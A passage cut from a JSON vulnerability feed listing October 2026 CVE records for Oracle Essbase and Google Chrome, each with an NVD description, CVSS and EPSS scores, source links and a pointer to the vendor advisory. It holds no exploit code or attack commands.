fixes.","publishedAt":"2026-10-20T22:21:03.460Z","updatedAt":"2026-10-23T17:19:29.340Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91635","asOf":"2026-10-23T17:19:29.340Z"},"epss":{"probability":0.00336,"percentile":0.26774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91635&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91635","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91635","type":"primary","publishedAt":"2026-10-20T22:21:03.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91635&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91635, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91632","cveId":"CVE-2026-91632","aliases":[],"kind":"vulnerability","title":"Vulnerability in Oracle Essbase (component: Security).","summary":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).","detail":"Vulnerability in Oracle Essbase (component: Security).   The supported version that is affected is 21.8.3.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Essbase.  While the vulnerability is in Oracle Essbase, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Essbase accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:21:03.113Z","updatedAt":"2026-10-23T14:56:17.930Z","regions":["Global"],"vendor":"oracle","product":"essbase","stacks":["Oracle","essbase"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91632","asOf":"2026-10-23T14:56:17.930Z"},"epss":{"probability":0.00304,"percentile":0.2296,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91632&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91632","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91632","type":"primary","publishedAt":"2026-10-20T22:21:03.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.oracle.com/security-alerts/cpuoct2026.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91632&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91632, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113344","cveId":"CVE-2026-113344","aliases":[],"kind":"vulnerability","title":"Use after free in Performance in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Performance in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Performance in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:29.110Z","updatedAt":"2026-10-26T15:30:52.907Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113344","asOf":"2026-10-26T15:30:52.907Z"},"epss":{"probability":0.00425,"percentile":0.36532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113344&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113344","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113344","type":"primary","publishedAt":"2026-10-20T22:19:29.110Z","checkedAt":"2026-10-26T16:50:55.493Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113344&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113344, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113343","cveId":"CVE-2026-113343","aliases":[],"kind":"vulnerability","title":"Memory corruption in Sandbox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Sandbox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Sandbox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:29.000Z","updatedAt":"2026-10-21T17:02:24.853Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113343","asOf":"2026-10-21T17:02:24.853Z"},"epss":{"probability":0.00425,"percentile":0.36532,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113343&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113343","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113343","type":"primary","publishedAt":"2026-10-20T22:19:29.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113343&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113343, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113339","cveId":"CVE-2026-113339","aliases":[],"kind":"vulnerability","title":"Use after free in SVG in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in SVG in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in SVG in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:28.530Z","updatedAt":"2026-10-21T17:02:47.280Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113339","asOf":"2026-10-21T17:02:47.280Z"},"epss":{"probability":0.00443,"percentile":0.38246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113339&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113339","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113339","type":"primary","publishedAt":"2026-10-20T22:19:28.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113339&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113339, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113338","cveId":"CVE-2026-113338","aliases":[],"kind":"vulnerability","title":"Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:28.413Z","updatedAt":"2026-10-21T17:02:53.697Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113338","asOf":"2026-10-21T17:02:53.697Z"},"epss":{"probability":0.00443,"percentile":0.38244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113338&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113338","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113338","type":"primary","publishedAt":"2026-10-20T22:19:28.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113338&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113338, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113337","cveId":"CVE-2026-113337","aliases":[],"kind":"vulnerability","title":"Memory corruption in Scroll in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Scroll in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Scroll in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:28.293Z","updatedAt":"2026-10-21T17:03:10.890Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113337","asOf":"2026-10-21T17:03:10.890Z"},"epss":{"probability":0.00443,"percentile":0.38246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113337&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113337","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113337","type":"primary","publishedAt":"2026-10-20T22:19:28.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113337&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113337, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113335","cveId":"CVE-2026-113335","aliases":[],"kind":"vulnerability","title":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:28.063Z","updatedAt":"2026-10-21T17:03:24.040Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113335","asOf":"2026-10-21T17:03:24.040Z"},"epss":{"probability":0.00443,"percentile":0.38246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113335&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113335","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113335","type":"primary","publishedAt":"2026-10-20T22:19:28.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113335&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113335, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113334","cveId":"CVE-2026-113334","aliases":[],"kind":"vulnerability","title":"Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Improper input validation in ANGLE in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:27.950Z","updatedAt":"2026-10-22T12:00:40.197Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113334","asOf":"2026-10-22T12:00:40.197Z"},"epss":{"probability":0.00443,"percentile":0.38246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113334&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113334","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113334","type":"primary","publishedAt":"2026-10-20T22:19:27.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113334&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113334, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113332","cveId":"CVE-2026-113332","aliases":[],"kind":"vulnerability","title":"Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:27.720Z","updatedAt":"2026-10-21T17:03:40.790Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113332","asOf":"2026-10-21T17:03:40.790Z"},"epss":{"probability":0.00443,"percentile":0.38245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113332&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113332","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113332","type":"primary","publishedAt":"2026-10-20T22:19:27.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113332&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113332, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113331","cveId":"CVE-2026-113331","aliases":[],"kind":"vulnerability","title":"Memory corruption in Controls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Controls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Controls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:27.610Z","updatedAt":"2026-10-22T23:18:29.610Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google 